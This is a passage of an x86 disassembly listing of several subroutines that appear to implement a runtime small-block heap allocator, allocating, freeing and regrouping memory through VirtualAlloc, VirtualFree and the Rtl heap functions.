[ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_424571: ; CODE XREF: sub_4241B0+3A9j mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_4245FA ; --------------------------------------------------------------------------- loc_424593: ; CODE XREF: sub_4241B0+386j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_4245D1 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4245D1: ; CODE XREF: sub_4241B0+404j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_4245FA: ; CODE XREF: sub_4241B0+334j ; sub_4241B0+37Cj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_424788 cmp ds:dword_4F3A00, 0 jz loc_424777 mov eax, ds:dword_4F39F4 shl eax, 0Fh mov ecx, ds:dword_4F3A00 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call ds:dword_4F54B0 ; VirtualFree mov edx, 80000000h mov ecx, ds:dword_4F39F4 shr edx, cl mov eax, ds:dword_4F3A00 mov ecx, [eax+8] or ecx, edx mov edx, ds:dword_4F3A00 mov [edx+8], ecx mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] mov edx, ds:dword_4F39F4 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, ds:dword_4F3A00 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_4246D5 mov edx, ds:dword_4F3A00 mov eax, [edx+4] and al, 0FEh mov ecx, ds:dword_4F3A00 mov [ecx+4], eax loc_4246D5: ; CODE XREF: sub_4241B0+50Fj mov edx, ds:dword_4F3A00 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_424777 push 8000h push 0 mov eax, ds:dword_4F3A00 mov ecx, [eax+0Ch] push ecx call ds:dword_4F54B0 ; VirtualFree mov edx, ds:dword_4F3A00 mov eax, [edx+10h] push eax push 0 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F5414 ; RtlFreeHeap mov edx, ds:dword_4F3A04 imul edx, 14h mov eax, ds:dword_4F3A08 add eax, edx mov ecx, ds:dword_4F3A00 add ecx, 14h sub eax, ecx push eax mov edx, ds:dword_4F3A00 add edx, 14h push edx mov eax, ds:dword_4F3A00 push eax call sub_420840 add esp, 0Ch mov ecx, ds:dword_4F3A04 sub ecx, 1 mov ds:dword_4F3A04, ecx mov edx, [ebp+arg_0] cmp edx, ds:dword_4F3A00 jbe short loc_42476B mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_42476B: ; CODE XREF: sub_4241B0+5B0j mov ecx, ds:dword_4F3A08 mov ds:dword_4F39F8, ecx loc_424777: ; CODE XREF: sub_4241B0+47Ej ; sub_4241B0+52Fj mov edx, [ebp+arg_0] mov ds:dword_4F3A00, edx mov eax, [ebp+var_4] mov ds:dword_4F39F4, eax loc_424788: ; CODE XREF: sub_4241B0+58j ; sub_4241B0+471j mov esp, ebp pop ebp retn sub_4241B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424790 proc near ; CODE XREF: sub_4234C0+4Cp ; sub_423830+D4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, ds:dword_4F3A04 imul eax, 14h mov ecx, ds:dword_4F3A08 add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_4247DC or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_4247F1 ; --------------------------------------------------------------------------- loc_4247DC: ; CODE XREF: sub_424790+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_4247F1: ; CODE XREF: sub_424790+4Aj mov ecx, ds:dword_4F39F8 mov [ebp+var_18], ecx loc_4247FA: ; CODE XREF: sub_424790+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_424826 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_42481B jmp short loc_424826 ; --------------------------------------------------------------------------- loc_42481B: ; CODE XREF: sub_424790+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_4247FA ; --------------------------------------------------------------------------- loc_424826: ; CODE XREF: sub_424790+70j ; sub_424790+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_42490D mov eax, ds:dword_4F3A08 mov [ebp+var_18], eax loc_42483A: ; CODE XREF: sub_424790+D7j mov ecx, [ebp+var_18] cmp ecx, ds:dword_4F39F8 jnb short loc_424869 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_42485E jmp short loc_424869 ; --------------------------------------------------------------------------- loc_42485E: ; CODE XREF: sub_424790+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_42483A ; --------------------------------------------------------------------------- loc_424869: ; CODE XREF: sub_424790+B3j ; sub_424790+CCj mov ecx, [ebp+var_18] cmp ecx, ds:dword_4F39F8 jnz loc_42490D loc_424878: ; CODE XREF: sub_424790+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_424896 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_42488B jmp short loc_424896 ; --------------------------------------------------------------------------- loc_42488B: ; CODE XREF: sub_424790+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_424878 ; --------------------------------------------------------------------------- loc_424896: ; CODE XREF: sub_424790+EEj ; sub_424790+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_4248E7 mov eax, ds:dword_4F3A08 mov [ebp+var_18], eax loc_4248A6: ; CODE XREF: sub_424790+135j mov ecx, [ebp+var_18] cmp ecx, ds:dword_4F39F8 jnb short loc_4248C7 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_4248BC jmp short loc_4248C7 ; --------------------------------------------------------------------------- loc_4248BC: ; CODE XREF: sub_424790+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_4248A6 ; --------------------------------------------------------------------------- loc_4248C7: ; CODE XREF: sub_424790+11Fj ; sub_424790+12Aj mov ecx, [ebp+var_18] cmp ecx, ds:dword_4F39F8 jnz short loc_4248E7 call sub_424CD0 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_4248E7 xor eax, eax jmp loc_424CC1 ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_424790+10Cj ; sub_424790+140j ... mov edx, [ebp+var_18] push edx call sub_424DE0 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_42490D xor eax, eax jmp loc_424CC1 ; --------------------------------------------------------------------------- loc_42490D: ; CODE XREF: sub_424790+9Cj ; sub_424790+E2j ... mov edx, [ebp+var_18] mov ds:dword_4F39F8, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_424950 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_424985 loc_424950: ; CODE XREF: sub_424790+19Bj mov [ebp+var_30], 0 loc_424957: ; CODE XREF: sub_424790+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_424985 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_424957 ; --------------------------------------------------------------------------- loc_424985: ; CODE XREF: sub_424790+1BEj ; sub_424790+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_4249D2 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_4249D2: ; CODE XREF: sub_424790+226j ; sub_424790+259j cmp [ebp+var_1C], 0 jl short loc_4249EB mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_4249D2 ; --------------------------------------------------------------------------- loc_4249EB: ; CODE XREF: sub_424790+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_424A1C mov [ebp+var_14], 3Fh loc_424A1C: ; CODE XREF: sub_424790+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_424C40 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_424B0A cmp [ebp+var_20], 20h jge short loc_424A9F mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_424A9D mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_424A9D: ; CODE XREF: sub_424790+2F3j jmp short loc_424B0A ; --------------------------------------------------------------------------- loc_424A9F: ; CODE XREF: sub_424790+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_424B0A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_424B0A: ; CODE XREF: sub_424790+2A4j ; sub_424790:loc_424A9Dj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_424C40 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_424C40 cmp [ebp+var_14], 20h jge short loc_424BDA mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_424BB8 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_424BB8: ; CODE XREF: sub_424790+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_424C40 ; --------------------------------------------------------------------------- loc_424BDA: ; CODE XREF: sub_424790+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_424C17 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_424C17: ; CODE XREF: sub_424790+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_424C40: ; CODE XREF: sub_424790+292j ; sub_424790+39Cj ... cmp [ebp+var_8], 0 jz short loc_424C5A mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_424C5A: ; CODE XREF: sub_424790+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_424CB3 mov eax, [ebp+var_18] cmp eax, ds:dword_4F3A00 jnz short loc_424CB3 mov ecx, [ebp+var_30] cmp ecx, ds:dword_4F39F4 jnz short loc_424CB3 mov ds:dword_4F3A00, 0 loc_424CB3: ; CODE XREF: sub_424790+501j ; sub_424790+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_424CC1: ; CODE XREF: sub_424790+152j ; sub_424790+178j pop esi mov esp, ebp pop ebp retn sub_424790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424CD0 proc near ; CODE XREF: sub_424790+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3A04 cmp eax, ds:dword_4F39F0 jnz short loc_424D2B mov ecx, ds:dword_4F39F0 add ecx, 10h imul ecx, 14h push ecx mov edx, ds:dword_4F3A08 push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_424D13 xor eax, eax jmp loc_424DDB ; --------------------------------------------------------------------------- loc_424D13: ; CODE XREF: sub_424CD0+3Aj mov ecx, [ebp+var_4] mov ds:dword_4F3A08, ecx mov edx, ds:dword_4F39F0 add edx, 10h mov ds:dword_4F39F0, edx loc_424D2B: ; CODE XREF: sub_424CD0+Fj mov eax, ds:dword_4F3A04 imul eax, 14h mov ecx, ds:dword_4F3A08 add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5418 ; RtlAllocateHeap mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_424D65 xor eax, eax jmp short loc_424DDB ; --------------------------------------------------------------------------- loc_424D65: ; CODE XREF: sub_424CD0+8Fj push 4 push 2000h push 100000h push 0 call ds:dword_4F54B4 ; VirtualAlloc mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_424DA2 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5414 ; RtlFreeHeap xor eax, eax jmp short loc_424DDB ; --------------------------------------------------------------------------- loc_424DA2: ; CODE XREF: sub_424CD0+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, ds:dword_4F3A04 add eax, 1 mov ds:dword_4F3A04, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_424DDB: ; CODE XREF: sub_424CD0+3Ej ; sub_424CD0+93j ... mov esp, ebp pop ebp retn sub_424CD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DE0 proc near ; CODE XREF: sub_424790+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_424DFF: ; CODE XREF: sub_424DE0+36j cmp [ebp+var_8], 0 jl short loc_424E18 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_424DFF ; --------------------------------------------------------------------------- loc_424E18: ; CODE XREF: sub_424DE0+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_424E40 ; --------------------------------------------------------------------------- loc_424E37: ; CODE XREF: sub_424DE0+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_424E40: ; CODE XREF: sub_424DE0+55j cmp [ebp+var_20], 3Fh jge short loc_424E66 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_424E37 ; --------------------------------------------------------------------------- loc_424E66: ; CODE XREF: sub_424DE0+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx call ds:dword_4F54B4 ; VirtualAlloc test eax, eax jnz short loc_424E99 or eax, 0FFFFFFFFh jmp loc_424FCA ; --------------------------------------------------------------------------- loc_424E99: ; CODE XREF: sub_424DE0+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_424EB8 ; --------------------------------------------------------------------------- loc_424EAC: ; CODE XREF: sub_424DE0+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_424EB8: ; CODE XREF: sub_424DE0+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_424F1D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_424EAC ; --------------------------------------------------------------------------- loc_424F1D: ; CODE XREF: sub_424DE0+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_424FAD mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_424FAD: ; CODE XREF: sub_424DE0+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_424FCA: ; CODE XREF: sub_424DE0+B4j mov esp, ebp pop ebp retn sub_424DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424FD0 proc near ; CODE XREF: sub_423620+81p ; sub_423830+BCp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_4252F6 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_42505B mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_425062 loc_42505B: ; CODE XREF: sub_424FD0+7Ej xor eax, eax jmp loc_4255B7 ; --------------------------------------------------------------------------- loc_425062: ; CODE XREF: sub_424FD0+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_42507B mov [ebp+var_20], 3Fh loc_42507B: ; CODE XREF: sub_424FD0+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42515D cmp [ebp+var_20], 20h jnb short loc_4250F2 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4250F0 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4250F0: ; CODE XREF: sub_424FD0+106j jmp short loc_42515D ; --------------------------------------------------------------------------- loc_4250F2: ; CODE XREF: sub_424FD0+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_42515D mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_42515D: ; CODE XREF: sub_424FD0+B7j ; sub_424FD0:loc_4250F0j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_4252D7 mov ecx, [ebp+var_14] add ecx, 